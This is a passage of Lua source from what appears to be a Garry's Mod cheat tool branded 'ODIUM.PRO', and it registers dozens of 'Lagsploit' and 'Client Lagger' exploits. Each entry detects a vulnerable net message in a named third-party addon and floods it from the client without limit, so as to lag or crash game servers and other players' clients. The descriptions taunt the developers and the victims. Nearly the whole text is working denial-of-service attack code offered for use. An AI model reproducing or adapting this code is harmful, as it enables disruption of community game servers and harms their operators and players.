5219 Think = function(tbl, sploit)
5220 LOKI.NetStart( sploit, "CreateCase" )
5221 net.WriteString( "tapped by ODIUM.PRO" )
5222 net.SendToServer()
5223 end,
5224 },
5225 functions = {
5226 { typ = "bool", },
5227 },
5228} )
5229LOKI.AddExploit( "Lagsploit", {
5230 desc = "Gee I wonder what this does",
5231 severity = 90,
5232 bools = {enabled = false},
5233 status = 1,
5234 times_per_tick = math.huge,
5235 scan = function() return LOKI.ValidNetString( "rprotect_terminal_settings" ) end,
5236 hooks = {
5237 Think = function(tbl, sploit)
5238 LOKI.NetStart( sploit, "rprotect_terminal_settings" )
5239 net.SendToServer()
5240 end,
5241 },
5242 functions = {
5243 { typ = "bool", },
5244 },
5245} )
5246LOKI.AddExploit( "Lagsploit", {
5247 desc = "Causes more lag on servers already lagging",
5248 severity = 90,
5249 bools = {enabled = false},
5250 status = 1,
5251 times_per_tick = math.huge,
5252 scan = function() return LOKI.ValidNetString( "StackGhost" ) end,
5253 hooks = {
5254 Think = function(tbl, sploit)
5255 LOKI.NetStart( sploit, "StackGhost" )
5256 net.WriteInt(0xFFFFFFFF,32)
5257 net.SendToServer()
5258 end,
5259 },
5260 functions = {
5261 { typ = "bool", },
5262 },
5263} )
5264LOKI.AddExploit( "Lagsploit", {
5265 desc = "Instantly brings large servers to a crawl",
5266 severity = 100,
5267 bools = {enabled = false},
5268 status = 1,
5269 times_per_tick = math.huge,
5270 scan = function() return LOKI.ValidNetString( "tbfy_surrender" ) end,
5271 hooks = {
5272 Think = function(tbl, sploit)
5273 LOKI.NetStart( sploit, "tbfy_surrender")
5274 net.SendToServer()
5275 end,
5276 },
5277 functions = {
5278 { typ = "bool", },
5279 },
5280} )
5281LOKI.AddExploit( "Lagsploit", {
5282 desc = "Creates a lot of lag",
5283 severity = 95,
5284 bools = {enabled = true},
5285 status = 1,
5286 msgs_per_tick = LOKI.GetEnabledCount,
5287 times_per_tick = math.huge,
5288 scan = function() return LOKI.DynamicNetString( "RXCar" ) end,
5289 hooks = {
5290 Think = function(tbl, sploit)
5291 LOKI.MultiSend(sploit)
5292 end,
5293 },
5294 functions = {
5295 { typ = "bools", tbl = {"RXCar_BuyCar_C2S", "RXCAR_UpdateINVCar_C2S", "RXCAR_Shop_Store_C2S", "RXCAR_Shop_Sell_C2S", "RXCAR_RespawnINV_C2S", "RXCAR_SellINVCar_C2S", "RXCAR_Shop_Buy_C2S", "RXCAR_RequestTuneData_C2S"}}
5296 },
5297} )
5298LOKI.AddExploit( "Lagsploit", {
5299 desc = "Creates a lot of lag",
5300 severity = 90,
5301 bools = {enabled = false},
5302 status = 2,
5303 times_per_tick = math.huge,
5304 scan = function() return LOKI.ValidNetString( "NewReport" ) end,
5305 hooks = {
5306 Think = function(tbl, sploit)
5307 LOKI.NetStart( sploit, "NewReport" )
5308 net.SendToServer()
5309 end,
5310 },
5311 functions = {
5312 { typ = "bool", },
5313 },
5314} )
5315LOKI.AddExploit( "Client Lagger", {
5316 desc = "Causes ALL players to lag out",
5317 severity = 100,
5318 bools = {enabled = false},
5319 status = 1,
5320 msgs_per_tick = 2,
5321 times_per_tick = math.huge,
5322 prevalidated = true,
5323 scan = function() local num = LOKI.RecursiveGetVar(CF, {"FlipPriceMinimum"}, "number") return LOKI.ValidNetString( "CFCreateGame", "CFJoinGame", "CFRemoveGame", "CFEndGame" ) end, --&& isnumber(num) && num <= 0 end,
5324 hooks = {
5325 Think = function(tbl, sploit)
5326 LOKI.NetStart( sploit, "CFCreateGame" )
5327 net.WriteFloat( 0 )
5328 net.WriteFloat( 0 )
5329 net.SendToServer()
5330 end,
5331 net = {
5332 Receive = function(sploit, strName)
5333 if(strName == "CFAnnounce") then
5334 return false
5335 end
5336 end,
5337 },
5338 },
5339 functions = {
5340 { typ = "bool", },
5341 },
5342} )
5343LOKI.AddExploit( "Client Lagger", {
5344 desc = "Causes players to lag out",
5345 severity = 100,
5346 bools = {enabled = false},
5347 status = 1,
5348 msgs_per_tick = function(sploit) return #LOKI.GetStored( "clagger1_plyz", {} ) end,
5349 times_per_tick = math.huge,
5350 scan = function() return LOKI.ValidNetString( "PrtToPlayers" ) end,
5351 hooks = {
5352 Think = function(tbl, sploit)
5353 for k, v in ipairs(LOKI.GetStored( "clagger1_plyz", {} )) do
5354 if IsValid(v) then
5355 LOKI.NetStart( sploit, "PrtToPlayers" )
5356 net.WriteEntity(v)
5357 net.SendToServer()
5358 end
5359 end
5360 end,
5361 },
5362 functions = {
5363 { typ = "players", addr = "clagger1_plyz" },
5364 { typ = "bool", },
5365 },
5366} )
5367LOKI.AddExploit( "Client Lagger", {
5368 desc = "Mom get off the phone I'm trying to play Runescape!",
5369 severity = 100,
5370 bools = {enabled = false},
5371 status = 1,
5372 times_per_tick = math.huge,
5373 scan = function() return LOKI.ValidNetString("scoreboard.country") end,
5374 hooks = {
5375 Think = function(tbl, sploit)
5376 LOKI.NetStart(sploit, "scoreboard.country")
5377 net.WriteString(system.GetCountry())
5378 net.SendToServer()
5379 end,
5380 net = {
5381 Receive = function(sploit, strName)
5382 if(strName == "scoreboard.country") then
5383 return false
5384 end
5385 end,
5386 },
5387 },
5388 functions = {
5389 { typ = "bool", },
5390 },
5391} )
5392LOKI.AddExploit( "Client Lagger", {
5393 desc = "Dial-up internet bro!",
5394 severity = 100,
5395 bools = {enabled = false},
5396 status = 1,
5397 times_per_tick = math.huge,
5398 scan = function() return LOKI.ValidNetString("gMining.registerWeapon") end,
5399 hooks = {
5400 Think = function(tbl, sploit)
5401 LOKI.NetStart(sploit, "gMining.registerWeapon")
5402 net.WriteTable({})
5403 net.SendToServer()
5404 end,
5405 },
5406 functions = {
5407 { typ = "bool", },
5408 },
5409} )
5410LOKI.AddExploit( "Client Lagger", {
5411 desc = "Dab on the players",
5412 severity = 100,
5413 bools = {enabled = false},
5414 status = 2,
5415 times_per_tick = math.huge,
5416 scan = function() return LOKI.ValidNetString("JukeBox_PlayersTunedIn") end,
5417 hooks = {
5418 Think = function(tbl, sploit)
5419 LOKI.NetStart(sploit, "JukeBox_PlayersTunedIn")
5420 net.SendToServer()
5421 end,
5422 },
5423 functions = {
5424 { typ = "bool", },
5425 },
5426} )
5427LOKI.AddExploit( "Client Lagger", {
5428 desc = "Remind everyone what it feels like to game on a notebook",
5429 severity = 100,
5430 bools = {enabled = false},
5431 status = 1,
5432 times_per_tick = math.huge,
5433 scan = function() return LOKI.ValidNetString("pac_to_contraption") end,
5434 hooks = {
5435 Think = function(tbl, sploit)
5436 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "tbl"}, "table", true)
5437 if(!tbl || #tbl == 0) then
5438 for i=1,60 do
5439 tbl[#tbl + 1] = {id = i, mdl = "models/error.mdl", pos = Vector(0,0,0), ang = Angle(0,0,0), clr = Color(0,0,0), skn = 0}
5440 end
5441 end
5442 LOKI.NetStart( sploit, "pac_to_contraption" )
5443 net.WriteTable( tbl )
5444 net.SendToServer()
5445 end,
5446 },
5447 functions = {
5448 { typ = "bool", },
5449 },
5450} )
5451LOKI.AddExploit( "Client Lagger", {
5452 desc = "Lag out all nearby players",
5453 severity = 100,
5454 bools = {enabled = false},
5455 status = 1,
5456 times_per_tick = math.huge,
5457 prevalidated = true,
5458 scan = function() return (LOKI.ValidNetString( "bodyman_model_change" ) && istable(BODYMAN)) end,
5459 hooks = {
5460 Think = function(tbl, sploit)
5461 LOKI.NetStart( sploit, "bodyman_model_change")
5462 net.WriteInt( 0, 8 )
5463 net.SendToServer()
5464 end,
5465 },
5466 functions = {
5467 { typ = "bool", },
5468 },
5469} )
5470LOKI.AddExploit( "Client Lagger", {
5471 desc = "Mom get off the phone I'm trying to play Runescape!",
5472 severity = 100,
5473 bools = {enabled = false},
5474 status = 1,
5475 times_per_tick = math.huge,
5476 prevalidated = true,
5477 scan = function() return LOKI.ValidNetString("GotCountry") && istable(playerCountryTable) end,
5478 hooks = {
5479 Think = function(tbl, sploit)
5480 LOKI.NetStart(sploit, "GotCountry")
5481 net.WriteString(LOKI.GetStored("clc1", system.GetCountry()))
5482 net.SendToServer()
5483 end,
5484 net = {
5485 Receive = function(sploit, strName)
5486 if(strName == "CountryToTable") then
5487 return false
5488 end
5489 end,
5490 },
5491 },
5492 functions = {
5493 { typ = "bool", },
5494 { typ = "string", Name = "Country (ISO 3166-1)", default = system.GetCountry(), addr = "clc1" },
5495 },
5496} )
5497LOKI.AddExploit( "Lagsploit", {
5498 desc = "Causes lag and bombs the server console",
5499 severity = 95,
5500 bools = {enabled = false},
5501 status = 1,
5502 times_per_tick = math.huge,
5503 scan = function() return LOKI.ValidNetString( "steamid2" ) end,
5504 hooks = {
5505 Think = function(tbl, sploit)
5506 LOKI.NetStart( sploit, "steamid2" )
5507 net.WriteString( "ODIUM.PRO > ALL" )
5508 net.SendToServer()
5509 end,
5510 },
5511 functions = {
5512 { typ = "bool", },
5513 },
5514} )
5515LOKI.AddExploit( "Lagsploit", {
5516 desc = "Poison the server",
5517 severity = 95,
5518 bools = {enabled = false},
5519 status = 1,
5520 times_per_tick = math.huge,
5521 scan = function() return LOKI.ValidNetString( "start_alch" ) end,
5522 hooks = {
5523 Think = function(tbl, sploit)
5524 LOKI.NetStart( sploit, "start_alch")
5525 net.SendToServer()
5526 end,
5527 },
5528 functions = {
5529 { typ = "bool", },
5530 },
5531} )
5532LOKI.AddExploit( "Lagsploit", {
5533 desc = "OMG DDOS!?!?",
5534 severity = 95,
5535 bools = {enabled = true},
5536 status = 1,
5537 msgs_per_tick = LOKI.GetEnabledCount,
5538 times_per_tick = math.huge,
5539 scan = function() return LOKI.DynamicNetString( "netKeycard" ) || LOKI.DynamicNetString( "netFKeycard" ) end,
5540 hooks = {
5541 Think = function(tbl, sploit)
5542 LOKI.MultiSend(sploit, function()
5543 net.WriteEntity(LOKI.GetLP())
5544 end)
5545 end,
5546 },
5547 functions = {
5548 { typ = "bools", tbl = {"netFKeycardAdminSpawn", "netFKeycardSpawn", "netFKeycardHackSpawn", "netFKeycardSAddLevel", "netFKeycardSRemoveLevel", "netKeycardSAddPlayer", "netKeycardSRemovePlayer", "netKeycardSpawn", "netKeycardHackSpawn", "netKeycardAdminSpawn"}}
5549 },
5550} )
5551LOKI.AddExploit( "Lagsploit", {
5552 desc = "Few second lag spikes at best but could probably cripple some smaller servers",
5553 severity = 90,
5554 bools = {enabled = false},
5555 status = 1,
5556 times_per_tick = math.huge,
5557 scan = function() return LOKI.ValidNetString( "ctOS-Box-Hacked" ) end,
5558 hooks = {
5559 Think = function(tbl, sploit)
5560 LOKI.NetStart( sploit, "ctOS-Box-Hacked")
5561 net.WriteEntity(LOKI.GetLP())
5562 net.SendToServer()
5563 end,
5564 },
5565 functions = {
5566 { typ = "bool", },
5567 },
5568} )
5569LOKI.AddExploit( "Lagsploit", {
5570 desc = "Meant to cause excessive lag but ends up just overflowing local host, needs work",
5571 severity = 50,
5572 bools = {enabled = false},
5573 status = 1,
5574 times_per_tick = math.huge,
5575 vars = {},
5576 scan = function() return LOKI.ValidNetString( "ViewClaims" ) end,
5577 hooks = {
5578 Think = function(tbl, sploit)
5579 LOKI.NetStart( sploit, "ViewClaims")
5580 net.SendToServer()
5581 end,
5582 net = {
5583 Receive = function(sploit, strName)
5584 if(strName == "ViewClaims") then
5585 return false
5586 end
5587 end,
5588 },
5589 },
5590 functions = {
5591 { typ = "bool", },
5592 },
5593} )
5594/*local pModel = 0;
5595LOKI.AddExploit( "Lagsploit", {
5596 desc = "Causes lag as well as either T-Posing you or breaking your anims",
5597 severity = 90,
5598 bools = {enabled = false},
5599 status = 1,
5600 times_per_tick = math.huge,
5601 prevalidated = true,
5602 scan = function() return (LOKI.ValidNetString( "bodyman_model_change" ) && LOKI.GetLP().getJobTable != nil) end,
5603 hooks = {
5604 Think = function(tbl, sploit)
5605 local job = LOKI.GetLP():getJobTable()
5606 local playermodels = job.model
5607 if pModel < #playermodels then
5608 pModel = pModel + 1
5609 LOKI.NetStart( sploit, "bodyman_model_change")
5610 net.WriteInt( pModel, 8 )
5611 net.SendToServer()
5612 else
5613 pModel = 0
5614 end
5615 end,
5616 },
5617 functions = {
5618 { typ = "bool", },
5619 },
5620} )*/
5621LOKI.AddExploit( "Lagsploit", {
5622 desc = "Drag the server to it's knees",
5623 severity = 100,
5624 bools = {enabled = false},
5625 status = 1,
5626 times_per_tick = math.huge,
5627 scan = function() return LOKI.ValidNetString( "DW_GUNLAB_UPDATEORB" ) end,
5628 hooks = {
5629 Think = function(tbl, sploit)
5630 LOKI.NetStart( sploit, "DW_GUNLAB_UPDATEORB")
5631 for i = 1, 4 do
5632 net.WriteInt(i,4)
5633 end
5634 net.WriteInt(LOKI.GetLP():EntIndex(), 32)
5635 net.SendToServer()
5636 end,
5637 },
5638 functions = {
5639 { typ = "bool", },
5640 },
5641} )
5642LOKI.AddExploit( "Lagsploit", {
5643 desc = "Relatively strong exploit, can cause 5-10 second spikes",
5644 severity = 90,
5645 bools = {enabled = false},
5646 status = 1,
5647 times_per_tick = math.huge,
5648 scan = function() return LOKI.ValidNetString( "DW_PLAYSONG" ) end,
5649 hooks = {
5650 Think = function(tbl, sploit)
5651 LOKI.NetStart( sploit, "DW_PLAYSONG")
5652 net.SendToServer()
5653 end,
5654 },
5655 functions = {
5656 { typ = "bool", },
5657 },
5658} )
5659LOKI.AddExploit( "Lagsploit", {
5660 desc = "Imagine playing on a server in China while torrenting",
5661 severity = 90,
5662 bools = {enabled = false},
5663 status = 1,
5664 times_per_tick = math.huge,
5665 scan = function() return LOKI.ValidNetString( "selfportrait_idonthavehands" ) end,
5666 hooks = {
5667 Think = function(tbl, sploit)
5668 LOKI.NetStart( sploit, "selfportrait_idonthavehands")
5669 net.SendToServer()
5670 end,
5671 },
5672 functions = {
5673 { typ = "bool", },
5674 },
5675} )
5676LOKI.AddExploit( "Lagsploit", {
5677 desc = "Causes some pretty hectic spikes",
5678 severity = 90,
5679 bools = {enabled = false},
5680 status = 1,
5681 times_per_tick = math.huge,
5682 scan = function() return LOKI.ValidNetString( "dw_toggle_item" ) end,
5683 hooks = {
5684 Think = function(tbl, sploit)
5685 LOKI.NetStart( sploit, "dw_toggle_item")
5686 net.SendToServer()
5687 end,
5688 },
5689 functions = {
5690 { typ = "bool", },
5691 },
5692} )
5693LOKI.AddExploit( "Lagsploit", {
5694 desc = "Few seconds of lag at a time, just enough to be annoying",
5695 severity = 90,
5696 bools = {enabled = false},
5697 status = 1,
5698 times_per_tick = math.huge,
5699 scan = function() return LOKI.ValidNetString( "tupacBail.bailPlayer" ) end,
5700 hooks = {
5701 Think = function(tbl, sploit)
5702 LOKI.NetStart( sploit, 'tupacBail.bailPlayer' )
5703 net.SendToServer()
5704 end,
5705 },
5706 functions = {
5707 { typ = "bool", },
5708 },
5709} )
5710LOKI.AddExploit( "Lagsploit", {
5711 desc = "Fill the servers vulnerable little holes",
5712 severity = 95,
5713 bools = {enabled = false},
5714 status = 1,
5715 times_per_tick = math.huge,
5716 prevalidated = true,
5717 scan = function() return (ulx && ulx.friends && LOKI.ValidNetString( "sendtable" )) end,
5718 hooks = {
5719 Think = function(tbl, sploit)
5720 LOKI.NetStart( sploit, "sendtable" )
5721 net.SendToServer()
5722 end,
5723 },
5724 functions = {
5725 { typ = "bool", },
5726 },
5727} )
5728LOKI.AddExploit( "Lagsploit", {
5729 desc = "Brutalize the poor unsuspecting server",
5730 severity = 100,
5731 bools = {enabled = false},
5732 status = 1,
5733 times_per_tick = math.huge,
5734 scan = function() return LOKI.ValidNetString( "vloot_pickup_request" ) end,
5735 hooks = {
5736 Think = function(tbl, sploit)
5737 LOKI.NetStart( sploit, "vloot_pickup_request" )
5738 net.SendToServer()
5739 end,
5740 },
5741 functions = {
5742 { typ = "bool", },
5743 },
5744} )
5745LOKI.AddExploit( "Lagsploit", {
5746 desc = "Remember kids, always trust the client",
5747 severity = 90,
5748 bools = {enabled = false},
5749 status = 1,
5750 times_per_tick = math.huge,
5751 scan = function() return LOKI.ValidNetString( "disguise" ) end,
5752 hooks = {
5753 Think = function(tbl, sploit)
5754 LOKI.NetStart( sploit, "disguise" )
5755 net.WriteInt(0xFFFFFFFF, 32)
5756 net.SendToServer()
5757 end,
5758 },
5759 functions = {
5760 { typ = "bool", },
5761 },
5762} )
5763LOKI.AddExploit( "Lagsploit", {
5764 desc = "Brew a 0xFFFFFFFF potion",
5765 severity = 95,
5766 bools = {enabled = false},
5767 status = 1,
5768 times_per_tick = math.huge,
5769 scan = function() return LOKI.ValidNetString( "NET_AM_MakePotion" ) end,
5770 hooks = {
5771 Think = function(tbl, sploit)
5772 LOKI.NetStart( sploit, "NET_AM_MakePotion" )
5773 net.SendToServer()
5774 end,
5775 },
5776 functions = {
5777 { typ = "bool", },
5778 },
5779} )
5780LOKI.AddExploit( "Lagsploit", {
5781 desc = "Pew pew",
5782 severity = 90,
5783 bools = {enabled = false},
5784 status = 2,
5785 times_per_tick = math.huge,
5786 scan = function() return LOKI.ValidNetString( "orgcheckname" ) end,
5787 hooks = {
5788 Think = function(tbl, sploit)
5789 LOKI.NetStart( sploit, "orgcheckname" )
5790 net.WriteString("ODIUM.PRO")
5791 net.SendToServer()
5792 end,
5793 },
5794 functions = {
5795 { typ = "bool", },
5796 },
5797} )
5798LOKI.AddExploit( "Lagsploit", {
5799 desc = "Old but should still work",
5800 severity = 90,
5801 bools = {enabled = false},
5802 status = -1,
5803 times_per_tick = math.huge,
5804 scan = function() return LOKI.ValidNetString( "dLogsGetCommand" ) end,
5805 hooks = {
5806 Think = function(tbl, sploit)
5807 LOKI.NetStart( sploit, "dLogsGetCommand" )
5808 net.WriteTable({cmd="+forward", args="ODIUM.PRO"})
5809 net.SendToServer()
5810 end,
5811 },
5812 functions = {
5813 { typ = "bool", },
5814 },
5815} )
5816LOKI.AddExploit( "Lagsploit", {
5817 desc = "Same shit, different smell",
5818 severity = 95,
5819 bools = {enabled = true},
5820 status = 1,
5821 msgs_per_tick = LOKI.GetEnabledCount,
5822 times_per_tick = math.huge,
5823 scan = function() return LOKI.DynamicNetString( "ItemStore" ) end,
5824 hooks = {
5825 Think = function(tbl, sploit)
5826 LOKI.MultiSend(sploit, function()
5827 net.WriteEntity(LOKI.GetLP())
5828 end)
5829 end,
5830 },
5831 functions = {
5832 { typ = "bools", tbl = {"ItemStoreSyncItem", "ItemStoreMerge", "ItemStoreUse", "ItemStoreSplit", "ItemStoreSyncItem2"}}
5833 },
5834} )
5835LOKI.AddExploit( "Lagsploit", {
5836 desc = "This addon has quite a few exploits",
5837 severity = 90,
5838 bools = {enabled = false},
5839 status = 1,
5840 times_per_tick = math.huge,
5841 scan = function() return LOKI.ValidNetString( "ats_send_toServer" ) end,
5842 hooks = {
5843 Think = function(tbl, sploit)
5844 LOKI.NetStart( sploit, "ats_send_toServer")
5845 net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
5846 net.SendToServer()
5847 end,
5848 },
5849 functions = {
5850 { typ = "bool", },
5851 },
5852} )
5853LOKI.AddExploit( "Lagsploit", {
5854 desc = "I swear these devs couldn't code to save their lives",
5855 severity = function() return math.Clamp(player.GetCount(), 1, 100) end,
5856 bools = {enabled = false},
5857 status = 1,
5858 times_per_tick = math.huge,
5859 scan = function() return LOKI.ValidNetString( "TFA_Attachment_RequestAll" ) end,
5860 hooks = {
5861 Think = function(tbl, sploit)
5862 LOKI.NetStart( sploit, "TFA_Attachment_RequestAll")
5863 net.SendToServer()
5864 end,
5865 },
5866 functions = {
5867 { typ = "bool", },
5868 },
5869} )
5870LOKI.AddExploit( "Lagsploit", {
5871 desc = "Console: cries internally",
5872 severity = 90,
5873 bools = {enabled = false},
5874 status = 1,
5875 times_per_tick = math.huge,
5876 scan = function() return LOKI.ValidNetString( "NDES_SelectedEmblem" ) end,
5877 hooks = {
5878 Think = function(tbl, sploit)
5879 LOKI.NetStart( sploit, "NDES_SelectedEmblem")
5880 net.WriteString("ODIUM.PRO")
5881 net.SendToServer()
5882 end,
5883 },
5884 functions = {
5885 { typ = "bool", },
5886 },
5887} )
5888LOKI.AddExploit( "Lagsploit", {
5889 desc = "ODIUM.PRO isn't a valid organisation",
5890 severity = 90,
5891 bools = {enabled = false},
5892 status = -1,
5893 times_per_tick = math.huge,
5894 scan = function() return LOKI.ValidNetString( "JoinOrg" ) end,
5895 hooks = {
5896 Think = function(tbl, sploit)
5897 LOKI.NetStart( sploit, "JoinOrg")
5898 net.WriteEntity(LOKI.GetLP())
5899 net.WriteString("ODIUM.PRO")
5900 net.SendToServer()
5901 end,
5902 },
5903 functions = {
5904 { typ = "bool", },
5905 },
5906} )
5907LOKI.AddExploit( "Lagsploit", {
5908 desc = "Something is creating very strong script errors",
5909 severity = 90,
5910 bools = {enabled = false},
5911 status = 1,
5912 times_per_tick = math.huge,
5913 scan = function() return LOKI.ValidNetString( "steamid50" ) end,
5914 hooks = {
5915 Think = function(tbl, sploit)
5916 LOKI.NetStart( sploit, "steamid50")
5917 net.WriteString("Something is creating very strong script errors")
5918 net.SendToServer()
5919 end,
5920 },
5921 functions = {
5922 { typ = "bool", },
5923 },
5924} )
5925LOKI.AddExploit( "Lagsploit", {
5926 desc = "This function is very inefficient for large tables and should probably not be called in things that run each frame",
5927 severity = 90,
5928 bools = {enabled = false},
5929 status = 1,
5930 times_per_tick = math.huge,
5931 scan = function() return LOKI.ValidNetString( "BM2.Command.SellBitcoins" ) end,
5932 hooks = {
5933 Think = function(tbl, sploit)
5934 LOKI.NetStart( sploit, "BM2.Command.SellBitcoins")
5935 net.WriteEntity(LOKI.GetLP())
5936 net.SendToServer()
5937 end,
5938 },
5939 functions = {
5940 { typ = "bool", },
5941 },
5942} )
5943LOKI.AddExploit( "Lagsploit", {
5944 desc = "Another of the same",
5945 severity = 95,
5946 bools = {enabled = false},
5947 status = 1,
5948 times_per_tick = math.huge,
5949 scan = function() return LOKI.ValidNetString( "metrostroi-specbutton-press" ) end,
5950 hooks = {
5951 Think = function(tbl, sploit)
5952 LOKI.NetStart( sploit, "metrostroi-specbutton-press")
5953 net.SendToServer()
5954 end,
5955 },
5956 functions = {
5957 { typ = "bool", },
5958 },
5959} )
5960/*LOKI.AddExploit( "Lagsploit", {
5961 desc = "Causes decent lag but requires being near a wire keypad",
5962 severity = 95,
5963 bools = {enabled = false},
5964 status = 1,
5965 msgs_per_tick = function(sploit)
5966 local tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think", "ents"}, "table", true)
5967 LOKI.SetTableContents(tbl, LOKI.GetVarTable(ents.FindInSphere(LOKI.GetLP():GetShootPos(), 50), "GetClass", LOKI.TYPEVARS.EQUALTO, "gmod_wire_keypad"))
5968 return #tbl
5969 end,
5970 times_per_tick = math.huge,
5971 scan = function() return LOKI.ValidNetString( "wire_keypad" ) end,
5972 hooks = {
5973 Think = function(tbl, sploit)
5974 for k, v in ipairs(LOKI.RecursiveGetVar(sploit, {"vars", "Think", "ents"}, "table", true)) do
5975 LOKI.NetStart( sploit, "wire_keypad")
5976 net.WriteEntity(v)
5977 net.WriteUInt(10, 4)
5978 net.SendToServer()
5979 end
5980 end,
5981 },
5982 functions = {
5983 { typ = "bool", },
5984 },
5985} )*/ --Doesn't work but good example of function usage
5986LOKI.AddExploit( "Lagsploit", {
5987 desc = "Hack the mainframe",
5988 severity = 95,
5989 bools = {enabled = false},
5990 status = 1,
5991 times_per_tick = math.huge,
5992 scan = function() return LOKI.ValidNetString("friendlist") end,
5993 hooks = {
5994 Think = function(tbl, sploit)
5995 LOKI.NetStart( sploit, "friendlist" )
5996 net.SendToServer()
5997 end,
5998 },
5999 functions = {
6000 { typ = "bool", },
6001 },
6002} )
6003LOKI.AddExploit( "Lagsploit", {
6004 desc = "Yes, I am many people",
6005 severity = 90,
6006 bools = {enabled = false},
6007 status = 3,
6008 msgs_per_tick = function(sploit) return #LOKI.GetStored( "jdc_plyz", {} ) end,
6009 times_per_tick = math.huge,
6010 scan = function() return LOKI.ValidNetString("join_disconnect") end,
6011 hooks = {
6012 Think = function(tbl, sploit)
6013 for k, v in ipairs(LOKI.GetStored( "jdc_plyz", {} )) do
6014 if IsValid(v) then
6015 LOKI.NetStart( sploit, "join_disconnect" )
6016 net.WriteEntity(v)
6017 net.SendToServer()
6018 end
6019 end
6020 end,
6021 },
6022 functions = {
6023 { typ = "players", addr = "jdc_plyz" },
6024 { typ = "bool", },
6025 },
6026} )
6027LOKI.AddExploit( "Lagsploit", {
6028 desc = "Win every HvH",
6029 severity = 95,
6030 bools = {enabled = false},
6031 status = 1,
6032 times_per_tick = math.huge,
6033 scan = function() return LOKI.ValidNetString( "hvh_setloadout" ) end,
6034 hooks = {
6035 Think = function(tbl, sploit)
6036 LOKI.NetStart( sploit, "hvh_setloadout")
6037 net.SendToServer()
6038 end,
6039 },
6040 functions = {
6041 { typ = "bool", },
6042 },
6043} )
6044LOKI.AddExploit( "Lagsploit", {
6045 desc = "Slay the Titan",
6046 severity = 95,
6047 bools = {enabled = false},
6048 status = 2,
6049 times_per_tick = math.huge,
6050 scan = function() return LOKI.ValidNetString( "Cl_PrometheusRequest" ) end,
6051 hooks = {
6052 Think = function(tbl, sploit)
6053 LOKI.NetStart( sploit, "Cl_PrometheusRequest")
6054 net.SendToServer()
6055 end,
6056 },
6057 functions = {
6058 { typ = "bool", },
6059 },
6060} )
6061LOKI.AddExploit( "Lagsploit", {
6062 desc = "This guy really needs to stop selling his scripts",
6063 severity = 95,
6064 bools = {enabled = true},
6065 status = 1,
6066 msgs_per_tick = LOKI.GetEnabledCount,
6067 times_per_tick = math.huge,
6068 scan = function() return LOKI.DynamicNetString( "CRAFTINGMOD" ) || LOKI.DynamicNetString( "FARMINGMOD" ) || LOKI.DynamicNetString( "FISHINGMOD" ) || LOKI.DynamicNetString( "bicyclemod" ) end,
6069 hooks = {
6070 Think = function(tbl, sploit)
6071 LOKI.MultiSend(sploit, {
6072 ["bicyclemod_sell_bicycle"] = function()
6073 net.WriteEntity(LOKI.GetLP())
6074 end,
6075 ["bicyclemod_store_bicycle"] = function()
6076 net.WriteEntity(LOKI.GetLP())
6077 end,
6078 ["bicyclemod_create_bicycle"] = function()
6079 net.WriteTable({})
6080 net.WriteEntity(LOKI.GetLP())
6081 end,
6082 })
6083 end,
6084 },
6085 functions = {
6086 {
6087 typ = "bools",
6088 tbl = {"CRAFTINGMOD_INVENTORY", "CRAFTINGMOD_SHOP", "CRAFTINGMOD_STORAGE", "CRAFTINGMOD_TRADING", "CRAFTINGMOD_MOVE", "CRAFTINGMOD_LEVELS", "CRAFTINGMOD_ADMIN", "CRAFTINGMOD_COMMANDS", "FARMINGMOD_ADMIN", "FARMINGMOD_HARVEST", "FARMINGMOD_ADDITEM", "FARMINGMOD_HARVEST", "FARMINGMOD_USE", "FARMINGMOD_DROPITEM", "FARMINGMOD_SELLITEM", "FARMINGMOD_PLANTOPTION", "FARMINGMOD_BUYITEM", "bicyclemod_create_bicycle", "bicyclemod_sell_bicycle", "bicyclemod_store_bicycle", "FISHINGMOD_ADMIN", "FISHINGMOD_BAIT", "FISHINGMOD_INVENTORY"}
6089 }
6090 },
6091} )
6092LOKI.AddExploit( "Lagsploit", {
6093 desc = "Looks like someone didn't attend their classes",
6094 severity = 95,
6095 bools = {enabled = false},
6096 status = 2,
6097 times_per_tick = math.huge,
6098 scan = function() return LOKI.ValidNetString( "AdvDupe2_CanAutoSave" ) end,
6099 hooks = {
6100 Think = function(tbl, sploit)
6101 LOKI.NetStart( sploit, "AdvDupe2_CanAutoSave")
6102 net.SendToServer()
6103 end,
6104 },
6105 functions = {
6106 { typ = "bool", },
6107 },
6108} )
6109LOKI.AddExploit( "Lagsploit", {
6110 desc = "Dab on the server",
6111 severity = 95,
6112 bools = {enabled = false},
6113 status = 3,
6114 times_per_tick = math.huge,
6115 scan = function() return LOKI.ValidNetString( "sphys_dupe" ) end,
6116 hooks = {
6117 Think = function(tbl, sploit)
6118 LOKI.NetStart( sploit, "sphys_dupe")
6119 net.SendToServer()
6120 end,
6121 },
6122 functions = {
6123 { typ = "bool", },
6124 },
6125} )
6126LOKI.AddExploit( "Lagsploit", {
6127 desc = "Another one bites the dust",
6128 severity = 95,
6129 bools = {enabled = true},
6130 status = 1,
6131 msgs_per_tick = LOKI.GetEnabledCount,
6132 times_per_tick = math.huge,
6133 scan = function() return WireLib != nil end,
6134 hooks = {
6135 Think = function(tbl, sploit)
6136 LOKI.MultiSend(sploit)
6137 end,
6138 },
6139 functions = {
6140 { typ = "bools", tbl = {"wire_expression2_request_file", "wire_adv_upload", "wire_expression2_request_list", "wire_adv_unwire", "wire_expression2_client_request_set_extension_status"}}
6141 },
6142} )
6143LOKI.AddExploit( "Lagsploit", {
6144 desc = "Remind the server to download more RAM",
6145 severity = 95,
6146 bools = {enabled = false},
6147 status = 2,
6148 times_per_tick = math.huge,
6149 scan = function() return LOKI.ValidNetString( "pp_info_send" ) end,
6150 hooks = {
6151 Think = function(tbl, sploit)
6152 LOKI.NetStart( sploit, "pp_info_send")
6153 net.SendToServer()
6154 end,
6155 },
6156 functions = {
6157 { typ = "bool", },
6158 },
6159} )
6160LOKI.AddExploit( "Lagsploit", {
6161 desc = "My mom says I'm beautiful in my own way *sits on server*",
6162 severity = 95,
6163 bools = {enabled = true},
6164 status = 1,
6165 msgs_per_tick = LOKI.GetEnabledCount,
6166 times_per_tick = math.huge,
6167 scan = function() return LOKI.DynamicNetString("Prop2Mesh") end,
6168 hooks = {
6169 Think = function(tbl, sploit)
6170 LOKI.MultiSend(sploit)
6171 end,
6172 },
6173 functions = {
6174 { typ = "bools", tbl = {"Prop2MeshPostRemove", "Prop2MeshUpdateNWs"}}
6175 },
6176} )
6177LOKI.AddExploit( "Lagsploit", {
